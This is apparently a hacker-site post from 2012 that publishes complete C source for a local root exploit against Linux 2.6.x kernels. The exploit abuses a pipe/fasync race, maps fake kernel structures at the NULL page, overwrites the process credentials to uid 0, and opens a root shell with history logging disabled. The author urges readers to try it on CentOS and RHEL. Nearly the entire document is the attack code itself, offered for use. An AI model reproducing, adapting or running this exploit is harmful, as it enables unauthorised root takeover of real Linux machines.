Help pay for xds lawyer fees.
LR

[LOCAL x86]: FASYNC STRUCT local pipe buffer exploit (NO,Not fasync_helper() thts still NOT patched, this is fasync_struct()!,Magikal~

Posted on 5th January 2012 in Exploits

And on the 78th day, gh0d created overflows! His people were then abe, to move swiftly through the Red sea!
xd@Haxnet@efnet – cert nutter

Anyhow so… this is the fasync struct handler id pop in coz, it was kinda mine to start with but anyhow… i had alot of things wrong, so, i decided to juast fix this one :) easier!

/*
 * Linux 2.6.x fs/pipe.c local kernel root(kit?) exploit (x86 atm,will add x64 payload tho and redo this code abit more ;) )
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <signal.h>
#include <stdint.h>
#include <sched.h>
#include <sys/types.h>
#include <sys/utsname.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <sys/personality.h>

// didn't really care about this i mixed 2.6.0 to 2.6.31
#define PIPE_BUFFERS 16

struct __wait_queue_head {
      int spinlock;
      void *next, *prev; // struct list_head
};

struct fasync_struct {  // bleh! didn't change from 2.6.0 to 2.6.31
	int magic;
	int fa_fd;
	struct fasync_struct *fa_next;
	void *file; // struct file
};

// this iz the w00t about 2.6.11 to 2.6.31
struct pipe_buf_operations {
        int suce;
        int *fptr[6];
};

// from 2.6.0 to 2.6.10
struct pipe_inode_info_2600_10 {
        struct __wait_queue_head wait;
        char *base; // !!!!!
        unsigned int len; // !!!
        unsigned int start; // !!!
        unsigned int readers;
        unsigned int writers;
        unsigned int waiting_writers;
        unsigned int r_counter;
        unsigned int w_counter;
        struct fasync_struct *fasync_readers;
        struct fasync_struct *fasync_writers;
};

// from 2.6.11 to 2.6.16
struct pipe_buffer_2611_16 {
        void *suce;
        unsigned int offset, len;
        struct pipe_buf_operations *ops;
};

struct pipe_inode_info_2611_16 {
        struct __wait_queue_head wait;
        unsigned int nrbufs, curbuf;
        struct pipe_buffer_2611_16 bufs[PIPE_BUFFERS];
        void *tmp_page;
        unsigned int start;
        unsigned int readers;
        unsigned int writers;
        unsigned int waiting_writers;
        unsigned int r_counter;
        unsigned int w_counter;
        struct fasync_struct *fasync_readers;
        struct fasync_struct *fasync_writers;
};

// from 2.6.17 to 2.6.19
struct pipe_buffer_2617_19 {
        void *suce;
        unsigned int offset, len;
        struct pipe_buf_operations *ops;
        unsigned int tapz;
};

struct pipe_inode_info_2617_19 {
        struct __wait_queue_head wait;
        unsigned int nrbufs, curbuf;
        struct pipe_buffer_2617_19 bufs[PIPE_BUFFERS];
        void *tmp_page;
        unsigned int start;
        unsigned int readers;
        unsigned int writers;
        unsigned int waiting_writers;
        unsigned int r_counter;
        unsigned int w_counter;
        struct fasync_struct *fasync_readers;
        struct fasync_struct *fasync_writers;
        void *suce;
};
// from 2.6.20 to 2.6.22
struct pipe_buffer_2620_22 {
        void *suce;
        unsigned int offset, len;
        struct pipe_buf_operations *ops;
        unsigned int tapz;
};
struct pipe_inode_info_2620_22 {
        struct __wait_queue_head wait;
        unsigned int nrbufs, curbuf;
        void *tmp_page;
        unsigned int start;
        unsigned int readers;
        unsigned int writers;
        unsigned int waiting_writers;
        unsigned int r_counter;
        unsigned int w_counter;
        struct fasync_struct *fasync_readers;
        struct fasync_struct *fasync_writers;
        void *suce;
        struct pipe_buffer_2620_22 bufs[PIPE_BUFFERS];
};
// AND FINALY from 2.6.23 to 2.6.31 ... :) )
struct pipe_buffer_2623_31 {
        void *suce;
        unsigned int offset, len;
        struct pipe_buf_operations *ops;
        unsigned int tapz;
        unsigned long tg;
};
struct pipe_inode_info_2623_31 {
        struct __wait_queue_head wait;
        unsigned int nrbufs, curbuf;
        void *tmp_page;
        unsigned int start;
        unsigned int readers;
        unsigned int writers;
        unsigned int waiting_writers;
        unsigned int r_counter;
        unsigned int w_counter;
        struct fasync_struct *fasync_readers;
        struct fasync_struct *fasync_writers;
        void *suce;
        struct pipe_buffer_2623_31 bufs[PIPE_BUFFERS];
};
static pid_t uid;
static gid_t gid;
static int iz_kern2600_10;
unsigned long taskstruct[1024];
void gomu_gomu_nooooo_gatling_shell(void);
int get_kern_version(void);
void map_struct_at_null(void);
void get_cur_task_and_escalate_priv(void);
void* get_null_page(void);
void error(char *s);
int is_done(int new);

static inline void *get_4kstack_top() {  // got a better syscall function then heres where ya can use it !
	void *stack;
	__asm__ __volatile__ (
	"movl $0xfffff000,%%eax ;"
	"andl %%esp, %%eax ;"
	"movl %%eax, %0 ;"
	: "=r" (stack)
	);
	return stack;
}

static inline void *get_8kstack_top() {
	void *stack;
	__asm__ __volatile__ (
	"movl $0xffffe000,%%eax ;"
	"andl %%esp, %%eax ;"
	"movl %%eax, %0 ;"
	: "=r" (stack)
	);
	return stack;
}

static inline void *get_current() {
      void *cur = *(void **)get_4kstack_top();
      if( ( (unsigned int *)cur >= (unsigned int *)0xc0000000 ) && ( *(unsigned int *)cur == 0 ) )
      return cur;
      else
      cur = *(void **)get_8kstack_top();
      return cur;
}

void map_struct_at_null() {  // this was really fkn time consuming coding...could not do it better tho really.. only now need to add for amd64 etc
      struct pipe_inode_info_2600_10 *pipe2600_10;
      struct pipe_inode_info_2611_16 *pipe2611_16;
      struct pipe_inode_info_2617_19 *pipe2617_19;
      struct pipe_inode_info_2620_22 *pipe2620_22;
      struct pipe_inode_info_2623_31 *pipe2623_31;
      struct pipe_buf_operations luffy;
      FILE *f;
      unsigned int *sct_addr;
      unsigned int sc_addr;
      char dummy;
      char sname[256], pipebuf[10];
      int ret, i;
      void *page;
      page = get_null_page();
      int version = get_kern_version();
      luffy.suce = 1;
      for(i = 0; i < 6; i++)
      luffy.fptr[i] = (int *)get_cur_task_and_escalate_priv;
      if(version >= 2600 && version <= 2610) {
      iz_kern2600_10 = 1;
      // as u see, his imperial majesty spender haz alwayz good trickz
      f = fopen("/proc/kallsyms", "r");
      if (f == NULL) {
      f = fopen("/proc/ksyms", "r");
      if (f == NULL) {
      error("[-] cant open /proc/{kall,k}syms for looking after teh sys_call_table addr!");
      }
      }
      ret = 0;
      while(ret != EOF) {
     ret = fscanf(f, "%p %c %s\n", (void **)&sct_addr, &dummy, sname);
     if (ret == 0) {
     fscanf(f, "%s\n", sname);
     continue;
     }
     if (!strcmp("sys_call_table", sname)) {
     printf("\t\t+ sys_call_table is at %p\n",(void *)sct_addr);
     fclose(f);
     }
     }
     if(f != NULL) {
     fclose(f);
     error("[-] cant get sys_olduname addr!");
     }
     sc_addr = (unsigned int) (sct_addr + __NR_olduname*sizeof(int));
     pipe2600_10 = (struct pipe_inode_info_2600_10 *) page;
	      memcpy(pipebuf, (char *) &sc_addr, sizeof(int));
	      pipe2600_10->base = pipebuf;
	      pipe2600_10->len = 0;
	      pipe2600_10->start = 0;
	      pipe2600_10->writers = 1;
	      printf("\t\t+ Structs for kernels 2.6.0 => 2.6.10 were mapped\n");
      } else if(version >= 2611 && version <= 2616) {
            pipe2611_16 = (struct pipe_inode_info_2611_16 *) page;
	      pipe2611_16->writers = 1;
	      pipe2611_16->nrbufs = 1;
	      for(i = 0; i < PIPE_BUFFERS; i++)
	            pipe2611_16->bufs[i].ops = &luffy;
	      printf("\t\t+ Structs for kernels 2.6.11 => 2.6.16 were mapped\n");
      }
      else if(version >= 2617 && version <= 2619)
      {
            pipe2617_19 = (struct pipe_inode_info_2617_19 *) page;
            pipe2617_19->readers = 1;
	      pipe2617_19->nrbufs = 1;
	      for(i = 0; i < PIPE_BUFFERS; i++)
	            pipe2617_19->bufs[i].ops = &luffy;
	      pipe2617_19->wait.next = &pipe2617_19->wait.next;
            pipe2617_19->wait.spinlock = 1;
            printf("\t\t+ Structs for kernels 2.6.16 => 2.6.19 were mapped\n");
      }
      else if(version >= 2620 && version <= 2622)
      {
            pipe2620_22 = (struct pipe_inode_info_2620_22 *) page;
            pipe2620_22->readers = 1;
	      pipe2620_22->nrbufs = 1;
	      for(i = 0; i < PIPE_BUFFERS; i++)
	            pipe2620_22->bufs[i].ops = &luffy;
	      pipe2620_22->wait.next = &pipe2620_22->wait.next;
            pipe2620_22->wait.spinlock = 1;
            printf("\t\t+ Structs for kernels 2.6.20 => 2.6.22 were mapped\n");
      }
      else if(version >= 2623 && version <= 2631)
      {
            pipe2623_31 = (struct pipe_inode_info_2623_31 *) page;
            pipe2623_31->readers = 0;
	      pipe2623_31->nrbufs = 0;
	      for(i = 0; i < PIPE_BUFFERS; i++)
	            pipe2623_31->bufs[i].ops = &luffy;
	      pipe2623_31->wait.next = &pipe2623_31->wait.next;
            pipe2623_31->wait.spinlock = 1;
            printf("\t\t+ Structs for kernels 2.6.23 => 2.6.31 were mapped\n");
      }
      else
            error("[-] exploit not developped for ur kernel!");
}

int get_kern_version(void) { // return something like 2600 for kernel 2.6.0, 2619 for kernel 2.6.19 ...
    struct utsname buf;
    char second[2],third[3];
    int version = 2000;
    if(uname(&buf) < 0)
    error("can't have ur k3rn3l version. this box isn't for today :( \n");
    sprintf(second, "%c", buf.release[2]);
    second[1] = 0;
    version += atoi(second) * 100;
    third[0] = buf.release[4];
    if(buf.release[5] >= '0' || buf.release[5] <= '9') {
            third[1] = buf.release[5];
            third[2] = 0;
            version += atoi(third);
    }
    else
    {
            third[1] = 0;
            version += third[0] - '0';
    }
    printf("\t\t+ Kernel version %i\n", version);
    return version;
}

//thx spender/julienee
void* get_null_page(void) {  // OK now lets try with PAGE_SIZE (Mod xd)
	void *page;
	if ((personality(0xffffffff)) != PER_SVR4) {
	page = mmap(PAGE_SIZE, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
	if (page != NULL) {
	page = mmap(PAGE_SIZE, 4096, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
	if (page != NULL) {
	error("[!] This box haz a mmap_min_addr-like stuff!");
	}
		}
	      else
	      {
		      if (mprotect(PAGE_SIZE, 4096, PROT_READ | PROT_WRITE | PROT_EXEC) < 0)
		      {
		            free(page);
			      error("[-] can't mprotect my null page!");
			}
		}
	}
	else
	{                  // so we just switched the order really ;)  -xd (nice eh)
	      page = mmap(NULL, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
		if (page != NULL)
		{
			page = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
			if (page != NULL)
			{
				error("[-] this box haz a mmap_min_addr-like stuff!");
			}
		}
	      else
	      {
		      if (mprotect(NULL, 4096, PROT_READ | PROT_WRITE | PROT_EXEC) < 0) // ... or not ! :(
		      {
		            free(page);
			      error("[-] can't mprotect my null page!");
			}
		}
	}
	printf("\t\t+ Got null page\n");
	return page;
}

void gomu_gomu_nooooo_gatling_shell(void) {
      char *argv[] = { "/bin/sh", "--noprofile", "--norc", NULL };
      char *envp[] = { "TERM=linux", "PS1=blackbird\\$  ", "BASH_HISTORY=/dev/null",
                   "HISTORY=/dev/null", "history=/dev/null",
                   "PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin", NULL };
      execve("/bin/sh", argv, envp);
      error("[-] Unable to spawn a rootshell ..");
}

int is_done(int new) {
	static int done = 0;
	if (done == 1)
	return (1);
	done = new;
}
volatile int done = 0;
void get_cur_task_and_escalate_priv() {
	uint32_t	i;
	uint32_t	*task = get_current();
	uint32_t 	*cred = 0;
	for(i=0; i<0x1000; i++)
      {
           if( (task[i] == task[i+1]) && (task[i+1] == task[i+2]) && (task[i+2] == task[i+3]))
           {
                  task[i] = 0;
                  task[i+1] = 0;
                  task[i+2] = 0;
                  task[i+3] = 0;
                  is_done(1);
                  return;
           }
      }
	for (i = 0; i<1024; i++)
	{
		taskstruct[i] = task[i];
		cred = (uint32_t *)task[i];
		if (cred == (uint32_t *)task[i+1] && cred > (uint32_t *)0xc0000000) {
			cred++;
	        	if (cred[0] == uid && cred[1] == gid
		            && cred[2] == uid && cred[3] == gid
		            && cred[4] == uid && cred[5] == gid
		            && cred[6] == uid && cred[7] == gid)
		        {
		         	cred[0] = cred[2] = cred[4] = cred[6] = 0;
		                cred[1] = cred[3] = cred[5] = cred[7] = 0;
				break;
		        }
		}
	}
	is_done(1);
}

int main(int ac, char **av) {
	int fd[2];
	int pid;
	char tapz[4];
	uid = getuid();
	gid = getgid();
	setresuid(uid, uid, uid);
	setresgid(gid, gid, gid);
	map_struct_at_null();
	//while (1) {
	pid = fork();
	if (pid == -1) {
	perror("fork");
	return (-1);
	}
	if (pid) {
	char path[1024];
			sprintf(path, "/proc/%d/fd/3", pid);  // was 4,but we all know 3 is there 100% :> -xd
			while (!is_done(0))
			{
				fd[0] = open(path, O_RDWR);
				if (fd[0] != -1)
				{
					if(iz_kern2600_10)
                              {
                                    memcpy(tapz, (char *)get_cur_task_and_escalate_priv, sizeof(int));
                                    write(fd[0], tapz, 4);
                              }
					close(fd[0]);
				}
			}
			if(iz_kern2600_10)
                  {
                        syscall(__NR_olduname, NULL);
                  }
                  printf("\t\t+ Got root!\n");
			gomu_gomu_nooooo_gatling_shell();
			return (0);
		}
		while (!is_done(0))
		{
			if (pipe(fd) != -1)
			{
				close(fd[0]);
				close(fd[1]);
			}
		}
	}

Enjoy.. Thx to many on this one, and, it has a new method so, try it, specially on centos and rhel ;>…just go hard and, you can add ya own pipe buffers but, i suggest play with the calls to asm…cheers.
XD @ #HAXNET @ Efnet @ Life-on-irc